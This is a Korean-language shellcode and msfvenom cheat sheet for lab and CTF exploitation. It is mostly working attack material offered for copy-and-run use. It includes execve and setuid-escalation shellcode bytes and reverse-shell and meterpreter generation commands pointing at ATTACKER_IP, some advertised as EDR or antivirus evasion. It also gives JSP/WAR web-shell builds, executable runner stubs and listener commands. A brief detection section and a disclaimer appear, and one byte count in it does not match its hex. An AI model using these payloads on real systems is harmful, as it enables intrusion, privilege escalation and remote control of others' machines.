Shellcode Reference

왼쪽 사이드바의 Attacker IP / Port는 msfvenom 생성 명령에만 치환됩니다. 하단의 정적 Hex 바이트열은 사전 하드코딩된 주소/포트가 들어있어 자동 치환되지 않으니, 네트워크 연결형 쉘코드는 반드시 msfvenom으로 재생성하세요.

모든 코드는 인가된 랩/CTF/모의훈련 환경에서만 사용하세요. 실제 공격은 불법입니다.

사용 전 체크리스트

  • 아키텍처 일치: x86 쉘코드는 x86 바이너리에서만 동작. x64 타겟에 x86 코드를 넣으면 조용히 crash.
  • 금지 바이트(bad chars): \x00, \x0a(LF), \x0d(CR), \xff, \x20(공백) 등 타겟 파서가 끊어내는 바이트. msfvenom -b 옵션으로 회피.
  • NX/DEP: 스택 실행이 막힌 경우 ret2libc, ROP, mprotect로 우회 필요 → 그대로 올려서 안 되는 게 정상.
  • ASLR: 쉘코드 자체는 영향 없지만, 쉘코드 주소로 리턴시킬 때 영향. nop sled로 완화.

1. 공식 레퍼런스 (복붙 가능)

Linux x86 — execve("/bin/sh") · 23 bytes · null-free

Aleph One / shell-storm에 등재된 가장 유명한 쉘코드.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
; nasm -f elf32
xor eax, eax
push eax
push 0x68732f2f   ; "//sh"
push 0x6e69622f   ; "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b      ; sys_execve
int 0x80

Linux x86_64 — execve("/bin/sh") · 27 bytes · null-free

\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
; nasm -f elf64
xor rdx, rdx
mov rbx, 0x68732f6e69622f2f
shr rbx, 8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b      ; sys_execve
syscall

Linux x86 — setreuid(0,0) + execve("/bin/sh") · 31 bytes

SUID 바이너리 익스플로잇 시 권한 상승 보장용. euid가 root(0)로 알려진 경우.

\x31\xc0\x31\xdb\x31\xc9\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Linux x86 — geteuid + setreuid(euid, euid) + execve("/bin/sh") · 41 bytes

위 버전의 동적 변형. 현재 euid를 geteuid(0x31)로 읽어 그대로 setreuid 양쪽 인자로 넣으므로, euid가 꼭 root가 아니어도 (예: game, web 같은 서비스 계정 SUID) 그 권한을 ruid까지 끌어올린 뒤 쉘을 띄움. euid 값을 미리 모르는 SUID 익스플로잇에 더 안전.

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
; nasm -f elf32
xor eax, eax
mov al, 0x31      ; sys_geteuid (49)
int 0x80
mov ebx, eax      ; ruid = euid
mov ecx, eax      ; euid_arg = euid
xor eax, eax
mov al, 0x46      ; sys_setreuid (70)
int 0x80
xor eax, eax
push eax
push 0x68732f2f   ; "//sh"
push 0x6e69622f   ; "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0x0b      ; sys_execve (11)
int 0x80

Windows x86 — WinExec(“calc.exe”) · “pop calc” 클래식

여러 CTF 라이트업에서 재사용되는 32비트 Windows 쉘코드. 주소(0x7C86114D 등)가 OS/서비스팩마다 다르므로 아래 msfvenom 명령으로 재생성 권장.

Windows x86 — MessageBoxA(“PoC”,“Hacked”)

Shellcode runner 테스트용. 네트워크 미사용으로 가장 안전한 PoC.

→ 직접 하드코딩된 바이트 대신 msfvenom으로 생성하는 것을 권장 (OS 버전·DEP·ASLR 영향):

msfvenom -p windows/messagebox TEXT="Hacked" TITLE="PoC" -f c

2. msfvenom — 네트워크 쉘코드 즉시 생성

사이드바의 Attacker IP/Port가 아래 명령에 자동 치환됩니다. 복사 → 바로 실행.

Linux x86 Reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f c -b "\x00\x0a\x0d"

Linux x86_64 Reverse TCP

msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f c -b "\x00"

Linux x86 Bind TCP

msfvenom -p linux/x86/shell_bind_tcp LPORT=PORT -f c -b "\x00\x0a\x0d"

Windows x86 Reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f c -e x86/shikata_ga_nai -i 3 -b "\x00\x0a\x0d\xff"

Windows x64 Reverse TCP

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f c -b "\x00"

Windows x86 — meterpreter/reverse_tcp (staged)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe -o payload.exe

Windows x64 — meterpreter/reverse_https (stageless, EDR 회피)

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=ATTACKER_IP LPORT=PORT -f exe -o payload.exe

macOS x64 Reverse TCP

msfvenom -p osx/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f macho -o payload.macho

ARM Linux Reverse TCP (라즈베리파이·IoT)

msfvenom -p linux/armle/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f elf -o payload.elf

MIPS Linux Reverse TCP

msfvenom -p linux/mipsbe/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f elf -o payload.elf

3. 출력 포맷 치트시트

# C 배열 (파이썬/C 익스플로잇에 포함)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f c

# 파이썬 바이트열
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f python

# raw 바이너리 (파일로)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f raw -o sc.bin

# ELF / EXE / Mach-O
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f elf -o payload.elf
msfvenom -p windows/shell_reverse_tcp     LHOST=ATTACKER_IP LPORT=PORT -f exe -o payload.exe

# PowerShell 인라인
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f psh -o payload.ps1

# ASP / JSP / WAR 웹쉘
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f war -o shell.war

4. 인코딩 / Bad Char 우회

# shikata_ga_nai 다중 인코딩 (AV 시그니처 교란)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT \
  -e x86/shikata_ga_nai -i 5 -f c -b "\x00\x0a\x0d\xff\x20"

# 특정 바이트만 피하기 (버퍼오버플로우에서 흔함)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT \
  -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f c

# ASCII-only 쉘코드 (프린터블)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT \
  -e x86/alpha_mixed -f c

5. 쉘코드 테스트 — C 러너 스텁

쉘코드 하나를 로컬에서 실행해보는 가장 간단한 방법.

Linux (스택 실행 허용 빌드)

// sc_runner.c
#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main() {
    printf("Shellcode length: %lu\n", strlen((char *)code));
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}
# NX 끄고 x86 32비트로 컴파일
gcc -m32 -z execstack -fno-stack-protector -no-pie sc_runner.c -o sc_runner
./sc_runner

Windows (x64, VirtualAlloc 방식)

#include <windows.h>
#include <string.h>

unsigned char payload[] = "\xfc\x48\x83..."; // msfvenom 출력 붙여넣기

int main() {
    void *exec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, payload, sizeof(payload));
    ((void(*)())exec)();
    return 0;
}

6. 분석 / 디스어셈블리

# 쉘코드 바이트 → 어셈블리로
echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68" | ndisasm -b 32 -

# radare2에서 열기
echo -ne "\x31\xc0\x50..." > sc.bin
r2 -a x86 -b 32 -c 'pd 20' sc.bin

# objdump로 raw 파일 디스어셈
objdump -D -b binary -m i386 sc.bin

# sctest (옛날이지만 여전히 유용 — 시스템콜 트레이스)
sctest -Ss 1000 < sc.bin

# scdbg (Windows 쉘코드 에뮬레이션)
scdbg /f sc.bin /s -1 /r

7. 참고 레퍼런스 (저작자/표준)

  • shell-storm.org/shellcode/ — 아키텍처별 공개 쉘코드 데이터베이스 (Linux x86/x64, Windows, ARM, MIPS, PowerPC …)
  • exploit-db.com/shellcodes — Offensive Security가 유지하는 쉘코드 아카이브
  • Aleph One, “Smashing the Stack for Fun and Profit” (Phrack 49-14) — Linux x86 execve 쉘코드의 원형
  • Corelan — Exploit writing tutorials — Windows 쉘코드 작성/인코딩의 사실상 표준 교재
  • msfvenom-cheat-sheet (GitHub trimstray/the-book-of-secret-knowledge)

8. 블루팀 관점 (탐지)

  • AMSI/ETW: Windows 쉘코드 로더는 VirtualAlloc + RWX 메모리 할당 패턴으로 EDR이 감지. 요즘은 Early Cascade / Module Stomping / NtMapViewOfSection 등으로 우회.
  • Sysmon Event ID 8 (CreateRemoteThread) · 10 (ProcessAccess with 0x1F0FFF 등) · 22 (DNS 조회) 조합이 쉘코드 로더 탐지의 1순위.
  • 메모리 아티팩트: RX가 아닌 RWX 영역이 PE 외부에 있으면 거의 100% 쉘코드. volatility malfind 플러그인이 그걸 노림.
  • 네트워크: msfvenom 기본 reverse TCP는 매우 시끄러움. 상용 EDR 룰에 거의 다 걸림. reverse_https + legit CDN SNI가 그나마 조용.

9. 자주 쓰는 리스너 (매칭 핸들러)

msfvenom으로 만든 payload를 받는 쪽.

# 가장 가볍게 — netcat (shell_reverse_tcp 계열용)
nc -lvnp PORT

# rlwrap 추가 (방향키/history)
rlwrap nc -lvnp PORT

# metasploit multi/handler (meterpreter 계열 필수)
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; \
set LHOST ATTACKER_IP; set LPORT PORT; set ExitOnSession false; run -j"

# socat (TTY 승격까지 한 번에)
socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT